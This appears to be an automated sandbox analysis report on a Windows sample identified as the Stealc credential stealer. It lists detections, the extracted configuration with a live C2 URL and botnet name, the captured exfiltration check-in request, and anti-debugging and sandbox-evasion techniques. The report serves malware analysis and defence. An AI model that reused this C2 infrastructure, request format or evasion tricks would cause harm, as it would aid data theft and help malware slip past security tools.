Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522624
MD5:	bb08552092b4a0fe9610493efde4ddfc
SHA1:	e4bd47f98aa7e1d41c6c2265ca45d606b49ba023
SHA256:	094b280b1e8ecb2574307e5f44d1678b3abe07c71ebfe779a7dd914bf789292b
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7260 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BB08552092B4A0FE9610493EFDE4DDFC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1662202182.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7260	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7260	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:11:02.926589+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.c40000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.php#	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phps	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00C4C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C49AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00C49AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C47240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00C47240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C49B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00C49B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C58EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00C58EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00C538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C54910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C54910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C4DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00C4E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C54570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00C54570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00C4ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C53EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00C53EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C4F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C4BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C4DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 34 41 39 36 46 44 31 45 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="hwid"974A96FD1E8E3984212470------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="build"doma------DHCBAEHJJJKKFIDGHJEC--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C44880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00C44880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 34 41 39 36 46 44 31 45 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="hwid"974A96FD1E8E3984212470------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="build"doma------DHCBAEHJJJKKFIDGHJEC--

Source: file.exe, 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1702489973.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702489973.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1702489973.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702489973.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702489973.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702489973.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1702489973.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php#
Source: file.exe, 00000000.00000002.1702489973.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&8
Source: file.exe, 00000000.00000002.1702489973.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpDWF
Source: file.exe, 00000000.00000002.1702489973.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phps
Source: file.exe, 00000000.00000002.1702489973.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37O

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB50B2	0_2_00FB50B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987	0_2_01019987
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F17033	0_2_00F17033
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F31823	0_2_00F31823
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01007043	0_2_01007043
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100D370	0_2_0100D370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100FBE6	0_2_0100FBE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01012BE7	0_2_01012BE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101650C	0_2_0101650C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01011562	0_2_01011562
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB0436	0_2_00EB0436
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01008C55	0_2_01008C55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0E518	0_2_00F0E518
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100E7B6	0_2_0100E7B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010147F9	0_2_010147F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101CE32	0_2_0101CE32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA4FBB	0_2_00FA4FBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01017E75	0_2_01017E75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100A6BF	0_2_0100A6BF

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00C445C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nouqlerf ZLIB complexity 0.9947534961112773

Source: file.exe, 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1662202182.0000000004D90000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C58680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00C58680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C53720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00C53720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\8LCNO65F.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1867776 > 1048576

Source: file.exe

Static PE information: Raw size of nouqlerf is bigger than: 0x100000 < 0x1a1e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nouqlerf:EW;fksviyxr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nouqlerf:EW;fksviyxr:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C59860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00C59860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ca46c should be: 0x1cd7c5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nouqlerf
Source: file.exe	Static PE information: section name: fksviyxr
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102691C push 2004896Dh; mov dword ptr [esp], ecx	0_2_01026985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102691C push 6790F598h; mov dword ptr [esp], ecx	0_2_010269AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB50B2 push edi; mov dword ptr [esp], ebp	0_2_00FB5119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB50B2 push ecx; mov dword ptr [esp], edx	0_2_00FB5130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB50B2 push 59710011h; mov dword ptr [esp], esi	0_2_00FB51E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB50B2 push eax; mov dword ptr [esp], ecx	0_2_00FB528D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107314C push ebx; mov dword ptr [esp], ecx	0_2_0107315D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C9159 push 7900132Eh; mov dword ptr [esp], edx	0_2_010C9175
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C9159 push edx; mov dword ptr [esp], esi	0_2_010C91C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B1956 push ebx; mov dword ptr [esp], eax	0_2_010B196A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B1956 push ebx; mov dword ptr [esp], 77BA6F00h	0_2_010B1978
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B1956 push edx; mov dword ptr [esp], eax	0_2_010B199C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102616A push 21008B4Bh; mov dword ptr [esp], eax	0_2_01026173
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102616A push ebx; mov dword ptr [esp], eax	0_2_01026295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ebx; mov dword ptr [esp], ecx	0_2_0101998E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ecx; mov dword ptr [esp], eax	0_2_01019994
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push edx; mov dword ptr [esp], ecx	0_2_010199C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push 7DD9D488h; mov dword ptr [esp], edi	0_2_01019A14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push 54E1729Bh; mov dword ptr [esp], edi	0_2_01019AC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ecx; mov dword ptr [esp], eax	0_2_01019ACA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push esi; mov dword ptr [esp], ebx	0_2_01019B69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ebp; mov dword ptr [esp], esi	0_2_01019BD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push 7331F313h; mov dword ptr [esp], ecx	0_2_01019BDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push esi; mov dword ptr [esp], edi	0_2_01019C79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push 2374EF46h; mov dword ptr [esp], edi	0_2_01019CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push edi; mov dword ptr [esp], 1976201Dh	0_2_01019D41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ebp; mov dword ptr [esp], edx	0_2_01019E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ebx; mov dword ptr [esp], edx	0_2_01019E8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ebp; mov dword ptr [esp], esi	0_2_01019F68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push 0C71D7F6h; mov dword ptr [esp], ecx	0_2_01019F9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01019987 push ebx; mov dword ptr [esp], eax	0_2_01019FA2

Source: file.exe

Static PE information: section name: nouqlerf entropy: 7.953428476394443

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00C59860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13358

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BCB9 second address: 100BCDC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F72FCC0D446h 0x00000008 jmp 00007F72FCC0D459h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BCDC second address: 100BCFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACD3h 0x00000007 pushad 0x00000008 jmp 00007F72FCF2ACCBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BCFF second address: 100BD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCC0D44Eh 0x00000009 jmp 00007F72FCC0D455h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BD2E second address: 100BD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edx 0x00000008 jg 00007F72FCF2ACC6h 0x0000000e js 00007F72FCF2ACC6h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020D58 second address: 1020D72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72FCC0D451h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
